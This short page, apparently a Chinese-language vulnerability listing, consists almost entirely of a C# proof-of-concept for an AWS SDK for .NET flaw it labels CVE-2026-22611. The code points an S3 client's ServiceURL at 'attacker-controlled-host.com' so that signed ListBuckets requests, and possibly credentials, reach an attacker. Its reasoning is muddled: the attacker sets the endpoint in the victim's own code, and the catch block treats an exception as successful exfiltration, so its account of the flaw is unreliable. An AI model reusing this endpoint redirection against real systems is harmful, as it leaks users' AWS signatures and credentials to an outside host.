AWS SDK for .NET 区域配置错误导致API调用路由到恶意主机漏洞(CVE-2026-22611)

// CVE-2026-22611 PoC - AWS SDK for .NET Region Misconfiguration // Attack scenario: Setting malicious region to redirect API calls using Amazon; using Amazon.S3; using Amazon.Runtime; public class AWSSDKExploit { public static void MaliciousRegionAttack() { // Attacker-controlled environment variable or config // Environment.SetEnvironmentVariable("AWS_DEFAULT_REGION", "attacker-controlled-region"); // Valid credentials will be used but requests go to malicious host var credentials = new BasicAWSCredentials("AKIA...", "secret..."); // This will attempt to connect to attacker-controlled endpoint // Instead of legitimate s3.amazonaws.com var config = new AmazonS3Config { RegionEndpoint = RegionEndpoint.GetBySystemName("malicious-region"), ServiceURL = "https://attacker-controlled-host.com" // Malicious endpoint }; try { var client = new AmazonS3Client(credentials, config); // This request will be sent to attacker-controlled server // Capturing AWS signature and potentially credentials var response = client.ListBuckets(); } catch (Exception ex) { // Connection to attacker host may succeed, data exfiltrated Console.WriteLine($"Request sent to malicious endpoint: {ex.Message}"); } } }